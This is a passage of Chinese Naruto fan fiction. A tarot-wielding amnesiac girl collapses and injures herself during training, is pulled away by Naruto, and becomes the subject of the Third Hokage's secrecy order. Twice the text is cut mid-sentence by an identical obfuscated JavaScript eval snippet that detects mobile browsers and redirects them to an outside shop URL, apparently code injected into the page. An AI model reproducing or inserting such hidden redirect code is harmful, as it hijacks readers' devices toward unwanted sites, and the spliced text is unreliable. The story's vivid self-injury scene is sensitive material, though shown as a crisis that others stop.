这份关心像一根针,刺破了勉强维持的脆弱外壳。我猛地摇头,狠狠咬住下唇,血腥味在口中弥漫。这点痛楚成了唯一的救命稻草,暂时压下了喉头的哽咽和胃部的翻搅。不能逃!逃了,就连最后一点存在的理由也彻底粉碎了! …… 最终,我是被伊鲁卡老师半扶半架到终点的。他看着我惨白如纸、冷汗涔涔、浑身控制不住轻颤的样子,眉头深锁,最终只化作一声沉重的叹息,那叹息里似乎混杂着放心,又或许……是怜悯。 周围的嘲笑声被无形的屏障隔绝。我像溺水的困兽,沉溺在自我构建的窒息世界里。之前『守护想当火影的笨蛋』的誓言,此刻如同幻梦的泡泡,“啪”地一声,碎裂无踪。鸣人会怎么看我?我甚至不敢去想。 “你……先休息,后面的训练量力而行。” 刺耳的耳鸣尖锐地穿透大脑,连自己粗重的喘息都听不清。我贪婪地呼吸着空气,每一次都牵扯出撕裂般的痛楚。伊鲁卡老师将我扶到树荫下,嘱咐有任何不适立刻告知。 阳光下,同学们挥汗如雨,努力训练。无边的无力感将我牢牢攫住。是啊,我什么都做不到……废物……承认吧。 可内心深处,不甘的火焰在绝望的灰烬里嘶吼 不!绝不!力量!我需要力量!为什么我不能拥有金手指?为什么不能动动手指毁天灭地?为什么……我如此弱小…… “噗通!” 试图加入基础训练的我,毫无意外地像一截朽木,重重侧摔在沙地上。世界只剩下破风箱般的喘息、狂乱的心跳轰鸣,以及骨骼肌肉无声的哀鸣和抽搐。汗水混着沙土糊在脸上。「倒吊人」的滞重感如水银灌满四肢百骸,将我死死钉在无能的耻辱柱上。 “砰!砰!砰!” 周围击打木桩的闷响如同战鼓,狠狠敲击着我濒临崩溃的神经。看着那些沉默的、象征着绝对力量的木桩,一股被压抑到极致的、混合着绝望、愤怒与自我憎恶的黑色火焰,猛地从「倒吊人」的泥潭深处咆哮着窜起! 为什么?!凭什么?! 心底的声音在疯狂嘶吼!对这具不争气躯体的愤怒!对这个残酷世界的怨恨!对自身渺小无能的刻骨憎恶!所有负面情绪如同沸腾的岩浆,瞬间冲垮了理智的堤坝! 我踉跄着扑向一个无人的木桩,喉咙里滚出不成调的、野兽般的低吼。没有技巧,没有架势,只有被狂怒驱动的、最原始的本能!拳头!手肘!甚至额头!不顾一切地、疯狂地砸向那冰冷坚硬的木头! “咚!”“咚!”“咚!” 每一次撞击都带来骨头欲裂的剧痛!指关节瞬间皮开肉绽,鲜血混着汗水染红粗糙的木纹。手肘撞出青紫,额头一片火辣。痛!钻心的痛!但这痛楚竟成了唯一的宣泄口!仿佛只有通过这种自毁的方式,才能证明自己还活着,还有一丝“力量”去对抗这令人窒息的绝望! 口袋里的塔罗牌在疯狂发烫!「倒吊人」的滞重被一种灼热的、近乎狂暴的脉动取代!是「力量」牌!它没有赐予我□□的力量,却像催化剂般点燃了我精神深处那团毁灭性的火焰,让这自can般的宣泄变得更为猛烈、更加不顾一切!每一次撞击,牌面的热度就灼烧一下皮肤,仿佛在呼应着我灵魂的咆哮! “喂!停下!快停下啊!!” 鸣人的声音带着惊恐,他冲过来想抓住我。 “走开!!” 我嘶吼着,像一头濒死的疯兽,甩开他伸来的手。疼痛早已麻木,只剩下一种近乎虚脱的、病态的亢奋。身体早已超越极限,肌肉哀嚎,骨骼呻吟,但精神却被「力量」牌的灼热与狂怒死死驱动,不肯停下!停下,就意味着彻底认输,坠入「倒吊人」的万劫不复! “咚!!!” 又是一记用尽全力的头槌!眼前彻底一黑,天旋地转,温热的液体顺着额角淌下,分不清是汗是血。身体软软地向前栽倒,目标依旧是那染血的木桩——仿佛撞碎它,就能撞碎这该死的命运! “大笨蛋!!” 这三个字,像一把钥匙,猝不及防地捅进了记忆的锁孔! “大笨蛋,你为什么不知道躲开点?!” “因为,我要保护你这个吊车尾呀。” “谁用你保护!等我将来当上火影,你们都要当我的助理……” “不过在那之前,你先保护好自己……喂!谁心疼你了!” “噗,好——我都听吊车尾的——谁让我是大笨蛋,你是吊车尾呢。” “喂!就算你这样我也不会#※’^……” 没等我在记忆的漩涡中抓住更多碎片,也没等我看清那护目镜下面的面容,一声带着哭腔的怒吼炸响!同时,一股巨大的力量从侧面狠狠撞来!鸣人像一头暴怒的幼狮,用他远比我有力的身体,硬生生将我撞离了那染血的木桩! “噗通!” 我们两人狼狈地摔进沙地,滚作一团。剧烈的冲撞让本就透支的身体彻底散架,狂怒的火焰如同被冰水浇熄,只剩下无尽的疲惫与冰冷瞬间淹没了我。病态的亢奋消失了,剧烈的耳鸣和深入骨髓的剧痛在每一寸神经尖叫。身体像被拆散又胡乱拼凑,每一块肌肉都在剧烈抽搐,无法控制地颤抖。泪水决堤般涌出,不受控制地滑落。 “你疯了吗?!会死的啊!!” 鸣人骑在我身上,双手死死按住我痉挛不止的肩膀,我的双手依旧不受控制地颤抖着,刚才疯狂击打木桩的手背早已皮开肉绽,渗着丝丝血迹。鸣人那蓝色的眼睛里没有了平时的跳脱,只剩下惊恐、难以言喻的焦急,甚至……一丝后怕的泪光?声音都在发颤 “体术不好就不好,又不是当不了忍者!我问过伊鲁卡老师了……笨蛋!大笨蛋!!” 他吼得很大声,唾沫星子溅到我脸上。很疼,他铁钳般的手指按在我受伤的肩头。但奇怪的是,这疼痛和粗暴的按压,反而像沉重的锚,将我从自毁的狂乱和冰冷的虚脱中,一点点、笨拙地拖回了残酷而真实的现实。 我瘫在沙地上,大口喘息,泪水糊满了脸颊,视线模糊地聚焦在鸣人近在咫尺的脸上——写满了担忧和愤怒。金色的发丝沾满沙粒,那双湛蓝的眼睛因激动而亮得惊人,如同暴风雨后澄澈的天空。额角的伤口火辣辣地疼,全身骨骼都在呻吟。剧烈的抽搐渐渐平息,只剩下劫后余生般的虚脱和一种近乎麻木的疲惫。 口袋里的塔罗牌,那「力量」牌的灼热早已褪尽。一种极其微弱、却如同初升朝阳般温暖的光芒,极其缓慢地、异常坚定地从牌堆深处渗透出来。它温柔地包裹住那颗被绝望撕扯得千疮百孔、被狂怒烧灼成一片焦土的心。是「太阳」牌。它在无声地宣告:即使深陷泥潭,即使满身伤痕,希望仍未熄灭。而带来这缕驱散寒意的曦光的,正是眼前这个同样狼狈、却用最笨拙也最直接的方式阻止我坠入深渊的金发少年。 阳光的金辉落在他汗水与泪水交织的脸上,也落在我满身的血污、尘土与淤青之上。训练场上鸦雀无声,所有人都被刚才那疯狂的一幕所震慑。连一向聒噪的牙都张着嘴忘了合上,小樱捂着嘴,眼中满是惊骇。佐助站在人群边缘,眉头微蹙,漆黑的眸子里闪过一丝难以捉摸的审视,随即又恢复了惯常的冷漠,只是目光在我和鸣人身上多停留了一瞬。 “旁听生!鸣人!!” 伊鲁卡老师焦急的呼喊打破了死寂。他几乎是冲过来的,脸色比刚才更加凝重。他蹲下身,先是迅速检查了一下我额角流血的伤口和明显肿胀淤紫的手肘,又看了看我颤抖不止、血迹斑斑的双手,眼神中充满了震惊和后怕。他严厉地瞪了一眼还骑在我身上的鸣人 “鸣人!快起来!别压着他!” 声音带着不容置疑的命令。 “啊?哦!哦!” 鸣人这才如梦初醒,手忙脚乱地从我身上爬起来,脸上还挂着泪痕和沙粒,显得有些手足无措。 “伊鲁卡老师,他……他刚才……” “我都看到了!” 伊鲁卡打断他,语气沉重。他小心地扶着我坐起来,动作尽量放轻,但依旧牵扯到全身的伤痛,让我忍不住倒吸一口凉气。 “你感觉怎么样?除了这些外伤,还有哪里不舒服?头晕吗?想吐吗?” 他一连串的问题砸过来,透着浓浓的担忧。 我张了张嘴,喉咙干涩发紧,只能虚弱地摇摇头。耳鸣还在持续,世界的声音忽远忽近。身体像是被彻底掏空,连抬手指的力气都没有,只剩下无处不在的酸痛和「太阳」牌那微弱却持续散发的、如同冬日暖阳般的抚慰。 伊鲁卡眉头紧锁,显然对我的状态很不放心。 “不行,必须去医务室!你伤得不轻,精神状态也很不稳定。” 他转头对还愣在一旁的鸣人说 “鸣人,别傻站着!去叫医疗班的老师过来!快!” “是!伊鲁卡老师!” 鸣人像接到重大任务,用力一抹脸,也顾不上自己身上的尘土,转身就朝教学楼方向狂奔而去,金色的头发在阳光下甩动,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575524|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道仓促却充满活力的光。 伊鲁卡老师叹了口气,小心翼翼地避开我的伤口,尝试将我扶得更稳些。他的目光扫过我狼狈不堪的样子,又落在远处树梢——那只漆黑的乌鸦不知何时已经悄然飞走,只留下一根在风中微微晃动的枯枝。 “唉……” 伊鲁卡发出一声悠长的叹息,这叹息里包含了太多复杂的情绪:教师的无力,对学生的担忧,或许还有一丝对这个“旁听生”身上谜团的困惑。他低头看着我,声音放缓了许多,带着一种近乎安抚的温和 “坚持住,医疗班很快就来。别怕,没事了。” 没事了…… 这三个字像羽毛一样轻飘飘地落下。真的没事了吗?查克拉依旧遥不可及,体术依旧如同天堑,精神世界的风暴只是暂时平息。身体每一处的疼痛都在提醒我刚才的疯狂和自身的脆弱——乌鸦飞走了,监视的阴影似乎也跟着它一并消散。 伊鲁卡老师小心翼翼地支撑着我几乎瘫软的身体,他那声温和的“没事了”还萦绕在耳边,带着一种教师特有的、试图安抚人心的力量,却无法真正驱散盘踞在我精神深处的寒气和身体各处尖锐的痛楚。每一次微弱的呼吸都牵扯着肋骨的闷痛,额角的伤口随着心跳一突一突地灼烧,双手更是像被无数根烧红的针持续穿刺着。 时间在剧烈的耳鸣和散架般的痛苦中变得粘稠而漫长。就在我感觉意识又要被疼痛和虚脱拖入黑暗时,一阵急促的脚步声由远及近。 “让开!让开!伤员在哪里?” 一个沉稳干练的声音响起。 是医疗班的忍者,他戴着墨镜,身后跟着两名抬着简易担架的助手,神色严肃。鸣人气喘吁吁地跟在他们旁边,金色的头发被汗水黏在额头上,蓝眼睛死死盯着我,里面盛满了毫不掩饰的焦虑,双手无意识地绞在一起。 “在这里!” 伊鲁卡立刻回应,小心地将我的情况快速说明 “旁听生,跑步后极度虚弱,疑似过度疲劳引发精神崩溃,随后出现自残行为,额头、手肘、双手多处外伤,意识有些模糊,情绪极度不稳定。” 医疗班的老师蹲下身,墨镜后的视线锐利地扫过我的全身。他没有多问,专业而迅速地开始检查。冰凉的手指带着查克拉的微光,轻轻按压我的额角伤口、肿胀的手肘关节,最后托起我皮开肉绽、血迹斑斑的双手。当那带着探查意味的查克拉触碰到我受伤的皮肉时,一股强烈的融合感觉猛地从口袋里的塔罗牌中涌出! 口袋里的「女皇」牌突然出现在我的眼前,像是虚影一般,它高悬着,显示着一种简易的手势,我吃力的学习上面的姿势,其他人似乎并未察觉到那张卡牌,也没有注意到我的手在偷偷的改变姿势。 等我费力做到时,「女皇」牌突然冲进我的身体里,热忱的暖流刺激着我的四肢百骸——那些疼痛消失了…… “精神透支和躯体反应非常剧烈……但外伤……刚才还伤得不轻,突然一下就好转起来……” 医疗老师声音冷静地做出判断 “先固定,抬回医疗室详细检查,排除内伤和脑震荡可能。准备镇静剂,稳定情绪。” 他对助手吩咐道。 助手们立刻上前,动作麻利但尽量轻柔地将我转移到担架上。身体被移动带来的剧痛让我忍不住闷哼出声,冷汗瞬间又冒了出来。视野天旋地转,胃里一阵翻江倒海。 “喂!你们轻点啊!没看到她疼吗!” 鸣人忍不住冲上前,想帮忙又不敢碰,只能在一旁急得跳脚,对着医疗助手大喊。 “鸣人!安静!别妨碍医疗班工作!” 伊鲁卡一把拉住冲动的鸣人,语气严厉但带着一丝不易察觉的疲惫。他看向鸣人,眼神复杂 “你也去处理一下手上的擦伤。” 他指的是鸣人按住我时,自己手上也蹭破皮渗血的地方。 “我这点伤算什么!” 鸣人甩开伊鲁卡的手,倔强地梗着脖子,目光依旧牢牢锁在担架上的我身上 “她……她刚才的样子……好可怕……” 鸣人的声音低了下去,带着一丝后怕的颤抖。他或许能理解那种崩溃和自毁的冲动,但那份濒临死亡的绝望气息,让他本能地感到恐惧和不安。 担架被抬起,轻微的晃动带来新一轮的眩晕和恶心。我闭上眼,努力对抗着呕吐的欲望和潮水般涌上的虚弱感。口袋里的「太阳」牌似乎感知到我的极度不适,那温暖的曦光再次变得清晰了一些,如同一个温暖的焦点,努力对抗着身体的冰冷和精神的涣散。它像在无声地低语:坚持住,光还在。 “伊鲁卡老师,麻烦你一起过来,需要你说明具体情况。” 医疗老师对伊鲁卡说道,然后指挥助手 “动作稳,快!” 一行人快速向医疗室方向移动。鸣人像只被遗弃的小狗,在原地焦躁地踱了两步,看着担架远去的方向,又看看自己沾着沙土和淡淡血迹的手,最终还是一咬牙,不管不顾地追了上去,保持着一段距离,却固执地不肯离开视线范围。训练场上,其他学生面面相觑,低声议论着刚才那惊心动魄的一幕,体术课显然已经无法继续。 躺在担架上,颠簸的感觉混合着消毒水和血腥味涌入鼻腔。身体的疼痛依旧尖锐,精神也疲惫到了极点。但不同于之前被「倒吊人」钉死的绝望,也不同于「力量」牌点燃的毁灭性狂怒,此刻的痛苦中,多了一丝被强行拉回现实的“存在感”,以及「太阳」牌那微弱却持续散发的、如同冬日壁炉般的暖意。 这暖意的源头,清晰无比地指向那个在担架旁若即若离、焦躁不安的金色身影。他笨拙的关心,他惊恐的眼泪,他愤怒的吼叫,还有此刻固执的跟随……都像一道道微小的光束,穿透了我精神世界厚重的阴霾。 活下去。 为了……记忆中那个护目镜下,月光般温柔的笑容。那个模糊的约定,似乎还带着未尽的话语,在意识的深处,隐隐回响…… 5. 『星牌』计划 担架的颠簸终于停止。消毒水混合着草药的味道,浓烈却带来一丝安定的错觉。医疗室冰冷的白光下,我躺在诊疗床上,身体残留着剧痛后的虚脱和麻木,意识则在镇静剂的作用下,沉浮于记忆碎片带来的震撼与疲惫交织的混沌中。占卜者……洗牌的手……声音……「女皇」的手势……每一次对塔罗牌的触碰,似乎都在冲刷掉一点失忆的尘埃! 医疗班的老师动作专业而迅速。她仔细检查了我额角和双手,那异常快速愈合、仅留下浅淡痕迹的伤处,医疗老师眉头微蹙。仪器上显示的微弱却剧烈波动、属性极其特殊的查克拉,以及精神感知符纸上反馈出的深邃古老却又动荡不安的精神海,都让她心中疑窦丛生。这绝非普通学生能达到的精神层面! “生命体征趋于平稳,外伤……恢复速度超常。” 医疗老师的声音保持着一贯的冷静,快速记录 “查克拉反应特殊,波动剧烈,属性不明。精神海……异常广阔,但极度紊乱,有明显创伤性应激反应和封闭迹象。深度透支,需要静养观察,重点监控精神稳定性与查克拉恢复。外伤无需特殊处理。” 她特意在“精神海异常广阔”和“外伤恢复超常”两处做了重点标记。 伊鲁卡站在一旁,沉默地听着。他心中的猜测几乎被证实——这个旁听生,绝非寻常。他看向床上脸色苍白、即使在药物作用下眉头也微微蹙起的我,眼中忧虑更深,但也多了一丝了然。他上前,轻轻替我将滑落的薄毯掖好,动作带着一种朴素的关怀。 门被推开一条缝,鸣人探进脑袋,蓝眼睛里满是焦急。 “鸣人,” 伊鲁卡这次没有厉声呵斥,而是用相对平和的语气,带着不容置疑的坚定, “她现在需要绝对的安静。相信老师,也相信医疗班的老师。去把手上的伤处理一下,然后回家好好休息。有情况,老师会第一时间告诉你,好吗?” 鸣人看着伊鲁卡认真的眼神,又看了看床上似乎“平静”下来的我,犹豫了一下,最终还是点点头,小声嘟囔了一句“一定要告诉我啊”,然后一步三回头地离开了。 伊鲁卡转向医疗忍者,语气郑重 “她就拜托您了,我需要暂时离开一下。” “放心。” 医疗班的老师点点头,目光扫过记录板上的特殊标注,墨镜后的眼神若有所思。 在他们走后,冰凉的液体流入血管,带来一丝微弱的镇定感,暂时压下了翻腾的恶心和尖锐的耳鸣。我依旧闭着眼,意识在虚脱的泥沼和一种奇异的、源自灵魂深处的温热感间沉浮。口袋里的牌安静下来,只有一种微妙的联系感在脉动。刚才……发生了什么?当医疗老师的查克拉触碰到我的伤口时,我好像……本能地调动了什么?不是主动的意志,更像是溺水者抓住浮木般的求生反应! 碎片……好像是记忆碎片! 就在那股暖流涌出、治愈伤口的瞬间,几个清晰却断片式的画面如同闪电般劈入混沌的意识! “要从左往右翻牌……只要不是上下翻怎么样都可以吧……算了,毕竟是仪式感,尊重一下啦” “牌灵……唔,我看看……是教皇诶!好诶!” “教皇先生您好,我想知道……” “塔罗还有反噬吗……嘶,痛痛” “精神状态不太好了……” 画面一闪而逝,快得抓不住,却留下了无比真实的触感——指尖划过牌面的微凉,那些心里变化的状态……欣喜……悲伤……好像是我……收到塔罗牌的记忆……三次元的记忆,也遗忘了很多吗…… 失忆的迷雾仿佛被撕开了一道缝隙,透进了微光。虽然只有零星碎片,但这是确凿的证据!塔罗牌不只是死物,在这里它们是钥匙!是连接我和查克拉的核心力量 …… 火影楼顶层,檀香袅袅,却驱不散空气里一丝凝重的气息。三代目火影仔细听着伊鲁卡的汇报。当听到“外伤异常快速愈合”、“特殊查克拉波动”、“精神海异常广阔深邃且动荡”、“占卜者” 等关键信息时,他布满皱纹的脸上,震惊之色一闪而过,随即被一种深沉的、混合着追忆与痛楚的了然所取代。 他沉默了很久,久到烟斗里的火光几乎熄灭。最终,他长长地、沉重地叹了口气,那叹息仿佛穿越了二十年的时光尘埃。 “果然……吗” 三代的声音低沉沙哑,带着岁月沉淀的重量 “终究还是要有事情要发生了……” 伊鲁卡屏住呼吸,等待下文。 “二十年前,” 三代的目光投向窗外,仿佛在凝视着遥远的过去 “木叶也曾出现过过一位和她一样的‘观星之民’,名字不详,她从未和任何人说过。她拥有洞悉命运丝线、引导精神洪流的天赋。她试图用她的力量守护这片土地,预见灾厄……但最终……目前只知道胸口有受伤,死因不详,在那次任务里,只留下关于九尾的模糊警示后……陨落了。” 三代的语气带着深深的惋惜 “她陨落前曾言,她的力量源于精神与自然的共鸣,与常规查克拉迥异,擅长幻术、精神引导、预知及独特的生命能量操控,但那一切都和她的牌息息相关。只不过,如此强大的力量背后,体魄孱弱……代价,也是致命的弱点。” “并且,观星之民,只会在有巨大事情发生之前来到……” “火影大人,” 伊鲁卡抬起头,语气急切 “我亲眼所见,她的崩溃和虚弱绝非伪装。她对鸣人的关注和保护欲,也显得非常真实。这种特殊的查克拉及其应用方式,她自己似乎也完全无法控制,甚至……可能并不完全理解。这次事件,更像是一个被巨大压力和自身困境压垮、体内潜藏着不受控力量的孩子,在绝望中无意识引爆了它……我觉得,她无法构成威胁,至少对鸣人来说。” 三代收回目光,看向伊鲁卡,眼神变得无比严肃,却又不同于之前的审视,更像是一种托付 “伊鲁卡,你看到的崩溃、自毁、以及那瞬间的治愈……现在都有了答案。也许就是‘观星之民’血脉在绝境下无意识的本能挣扎!她的虚弱、她对体术的极端不适,皆源于此。她的失忆……恐怕是巨大的精神创伤导致的自我保护。” 烟斗里面的光终究是熄灭了,此刻沉默是目前唯一的演奏曲,三代缓缓吐出一口烟圈,烟雾缭绕 “观察继续……重点监控其查克拉波动模式、精神状态变化……一旦发现失控征兆、外部势力接触迹象,或查克拉波动突破预设安全阈值……优先控制目标,必要时可采取一切措施保护人柱力及木叶安全。” 此刻三代的命令冰冷而精确,在木叶村的面前,他也毫无办法,如果那位“观星之民”还在的话…… 随后,三代又放缓了语气对着伊鲁卡说到 “你的任务不变:以教师身份接近、观察、引导。使用牌的时候,是否有特殊反应或……记忆恢复的迹象?” 三代的目光锐利如鹰,似乎洞察了某种可能性,“稳定她的情绪,避免再次崩溃触发力量失控。这既是保护她,也是为了更安全地‘理解’这份力量,毕竟对于这份力量,我们了解的甚少。” “她的存在,她血脉的真相,她能力的特殊性……列为最高机密‘星牌’。” 三代的语气斩钉截铁,带着不容置疑的守护意志 “知情者,仅限你我二人,还有医疗班那边,我会亲自去谈,她只需知道这孩子精神受过重创,需要极其温和的对待和静养,不宜深究原因。所有医疗记录中关于查克拉异常、精神海特异以及外伤愈合速度的细节,” 三代的目光扫过伊鲁卡带来的那份医疗记录 “我会亲自处理。最终归档的记录,只会显示‘训练过度导致严重精神受创与虚脱,伴随轻度外伤,体质特殊恢复较快,归因于年轻’。对外,这就是一次不幸的意外,一个体质特殊、精神敏感的学生在高压训练下的不适应反应。明白吗,伊鲁卡?她的‘普通’,就是她此刻最大的保护色。” 伊鲁卡心中那根紧绷的弦,终于在三代这番明确指向“保护”而非“控制”的话语中松弛下来,取而代之的是一股沉甸甸的责任感和暖意。 “是!火影大人!我明白!” 他用力点头,声音坚定。 “鸣人这孩子……” 三代提到这个名字,眼神更加复杂深邃 “她与鸣人之间那种特殊的联系……或许是命运丝线的纠缠。这份联系可能成为她混乱精神海中一枚重要的锚,也可能因鸣人本身如同烈阳般的情绪波动而成为新的风暴眼。顺其自然,伊鲁卡。不要刻意撮合,也不要强行隔断。让孩子们自然相处,你在旁默默守护,细致观察即可。保护她的秘密不被窥探,就是保护鸣人远离不必要的漩涡,更是保护木叶来之不易的平静。九尾的秘密已是重担,不能再让一个失忆的‘观星之民’暴露在贪婪或恐惧的目光之下。” “那她的能力……她的未来……” 伊鲁卡忍不住问。 三代缓缓摇头,目光温和却异常坚定,带着一种看透世事的悲悯 “伊鲁卡,她现在最需要的不是力量,不是训练,是安宁与时间。她的精神海如同被飓风肆虐后的星穹,布满裂痕,亟待修复。她的身体是承载这份古老血脉的脆弱根基。任何急于触碰、引导那尚未苏醒且充满未知力量的行为,都只会加速她的崩溃,让她步上二十年前那位‘无名者’的后尘。那将是我们木叶无法承受的第二次失责。” 他站起身,绕过宽大的办公桌,走到伊鲁卡面前,将苍老却有力的手轻轻放在他的肩上,像一个真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575525|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正的长辈在托付家族的希望 “让她像一缕微风,一片落叶,自然地融入忍者学校的日常。上课,休息,在阳光下散步,在你的视线可及之处。体术课,只让她学习简单的基础的,能保护自己的就好。你的重心,是稳定她的情绪,提供一个安全、平和、没有惊涛骇浪的港湾。她的记忆,她血脉的力量,只能由她自己在感到绝对安全时,一点一滴地找回、理解和掌控。我们要做的,是在她踉跄时伸手扶稳,在她迷茫时点亮一盏不刺眼的灯,在秘密的风暴可能来临前,为她筑起一道无形的、坚实的墙。像呵护一颗在寒夜中意外发现的、饱经风霜却依然蕴含生机的星辰种子一样呵护她,伊鲁卡。这就是你此刻最重要的任务,也是木叶对‘观星之民’最后……必须履行的守护之责。” “像呵护星辰种子一样……” 伊鲁卡喃喃重复着,三代充满画面感和责任感的嘱托,如同一股暖流注入了他的心田,驱散了之前的迷茫和沉重,取而代之的是清晰而温柔的使命感。他明白了自己角色的真谛——不是监视者,不是研究员,而是守护者。守护她的秘密,守护她的脆弱,守护她重新认识自己、拥抱未来的渺小希望。 “是!火影大人!我明白了!” 伊鲁卡的眼神变得清澈而坚定,他挺直脊背,如同许下最重要的誓言 “我会守护好她,用我的生命保证她的安宁,如同守护木叶未来的每一份希望!” 他没有说“像守护每一个学生”,因为这份守护,已然不同。 三代布满皱纹的脸上露出了欣慰而信任的笑容,用力拍了拍伊鲁卡的肩膀 “去吧,伊鲁卡。回到她身边。现在,她最需要的,是一个能让她感到安心和寻常的老师。” 医疗室内,光线似乎也随着时间流逝而柔和了几分。冰冷的白光被调暗,窗外午后的暖阳透过百叶窗,在地板上投下温暖的光斑。在镇静剂的抚慰下,我陷入了一种并非全然无知的昏沉。身体的剧痛被虚脱的沉重感取代,像陷在温暖的泥沼里。然而,意识并未完全沉寂。 额角和双手残留的温暖麻痒感,像退潮后沙滩上留下的余温,清晰地提醒着不久前那股奇异力量的涌动——那是我的力量?属于我的力量?脑海中,那三个碎片,如同黑暗中熠熠生辉的星辰碎片,固执地悬浮着,指引着方向。每一次微弱的“触碰”,都仿佛在冲刷着记忆的尘埃……我……在找回自己?这个认知带来一种战栗的、带着疼痛的希望,像在绝境中抓住了一根蛛丝。 医疗老师坐在不远处的桌旁,看似专注地记录着仪器上趋于平稳的数据(至少表面参数如此),墨镜后的眼神却比之前平和了许多。火影大人刚才通过加密忍具传来的指令简洁而明确——“特殊关照,精神优先,淡化异常,温和护理”。这让她心中的疑虑被专业的职责感压下。她不需要知道全部真相,她只需要知道,这个女孩需要最精心的精神护理和最无压力的环境。她调整了一下输液管的速度,确保药物缓慢而稳定地滋养着这具透支的身体。 口袋里的塔罗牌一片沉寂。 但「女皇」牌所在的位置,那丝微弱的、充满生机的暖意,如同沉睡巨兽平缓的呼吸,规律而安稳地脉动着。 更重要的是,那扇被推开一丝缝隙的记忆之门,以及三代火影那无声却如大地般坚实的“保护性隐瞒”的意志,仿佛在虚空中织就了一层无形的、温暖的茧,将外界的探究与风雨暂时隔绝。 失忆的『观星之民』(三次元观众),孱弱的躯壳,混乱而古老的力量……前路依旧被浓雾笼罩。 但此刻,在木叶最高守护者悄然布下的“星牌”帷幕下,她不再是被审视的异类,而是被纳入了一个以“守护”为名的宁静结界。她将回归“普通旁听生”的表象,在伊鲁卡老师看似如常、却多了一份深沉守护的目光下,在相对平静的校园生活中,尝试拼凑失落的记忆碎片,摸索体内沉睡的力量…… 伊鲁卡轻轻推开医疗室的门,脚步放得极轻。他脸上带着教师惯常的、略显疲惫却温和的神情,那份得知惊天秘密后的沉重感被他小心翼翼地藏起,只剩下纯粹的关切。他走到床边,看着在药物作用下呼吸平稳些的我,目光扫过我额角和手上那几乎消失的伤痕,眼神深处闪过一丝难以言喻的复杂,但很快被更深的决心取代。他没有说话,只是静静地拉过一张椅子坐下,像一个守护在生病学生床前的普通老师。 窗外的阳光温暖而静谧。一只乌鸦的影子无声地掠过远处的树梢,它没有停留,血红的眼睛中,那份冰冷的审视已然褪去,取而代之的是一种融入背景的、沉默的守望,如同一个忠诚的哨兵,融入了这片被“星牌”标记、被温柔守护的午后时光。名为“日常”的画卷,将在伤痛的余墨干涸后,重新徐徐展开,而其下悄然流淌的暖意与秘密,将成为未来故事无声的底色。 6. 总有一天我会当上火影 医疗室那场崩溃的后遗症像阴魂不散的幽灵,缠绕在每一寸骨骼和肌肉里。 尽管伊鲁卡老师已经罢免了我的一些体术,只教我一些简单的躲避能力,但我自己也深知,如果体术不好,根本就没用。不知道求了鸣人多久,他才愿意带我来他的“秘密基地”练习,但仅仅是走到这片被巨大岩石遮蔽的河滩“秘密基地”,后背的冷汗就已经浸透了薄薄的衣衫,眩晕感如同潮水,一波波冲击着摇摇欲坠的意识。 “喂!这边这边!”鸣人像只精力过剩的金毛寻回犬,早已在河滩中央蹦跳着招手。他丝毫没察觉我的虚弱,或者说,他选择了用他特有的、大大咧咧的热情去覆盖它。他献宝似的指着旁边一棵被水流冲刷得光滑的树干,上面用炭笔画着一个歪歪扭扭的靶心。“看!我的专属训练场!怎么样,是不是超——级棒!” 他迫不及待地拉开架势,从那个破旧的忍具包里掏出几枚训练用的木制手里剑。眼神瞬间变了,不再是平时那个咋咋呼呼的笨蛋,而是带着一种近乎原始的专注。他深吸一口气,身体猛地后仰,甩臂的幅度大得惊人,几乎要将整个身体的力量都甩出去! “咻——!”“咻——!”“咻——!” 三声凌厉的破空声几乎同时响起,尖锐得刺耳! “咄!”“咄!”“噗通!” 前两枚手里剑带着惊人的力道,狠狠楔入了树干,深陷进坚实的木质纹理中,木屑飞溅!虽然一枚离靶心偏了半掌,另一枚更是钉在了靶心下方靠近树根的位置,但那深入木头的力道,足以让任何一个轻视他的人闭嘴……第三枚则带着不甘的呼啸,一头扎进了湍急的河水里,消失不见。 “咳咳……” 像是掩盖自己的尴尬,低着头的鸣人叉着腰站在河滩一块相对平坦的空地上,脚下是湿滑的鹅卵石。再抬起,他脸上是前所未有的认真,甚至带着点……神圣感?仿佛即将进行一项关乎忍界存亡的伟大事业。 “听好了!” 他清了清嗓子,努力让自己的声音听起来像伊鲁卡老师那样“权威” “体术是忍者的根本!是保护同伴和实现梦想的基石!今天,就由未来的火影大人——漩涡鸣人,亲自传授你‘鸣人流体术奥义·基础开篇’!第一课——手里剑与苦无的握持与投掷基础!” 他从那个破旧的忍具包里,珍而重之地掏出两样东西:一枚边缘有些磨损的木制训练手里剑,和一柄同样木质的苦无(训练用,未开刃)。他把苦无递给我,自己则握住了手里剑。 “首先,是握法!” 鸣人挺直腰板,将苦无举到眼前 “看好了!手指要像这样……嗯……” 他努力回忆着课堂上的内容,试图摆出标准的姿势:大拇指按住苦无中心圆孔的一侧,食指和中指扣住另一侧,无名指和小指自然弯曲托住底部。但他的动作显然不够熟练,手指显得有些僵硬,甚至微微发抖,远不如他平时投掷时那种野性的流畅。 “大…大概就是这样!” 他有点心虚地维持着姿势,额角渗出细汗 “关键是……要稳!要像抓住鳗鱼一样,既不能让它跑了,也不能捏死它!” 这个古怪的比喻让我忍不住嘴角微抽。 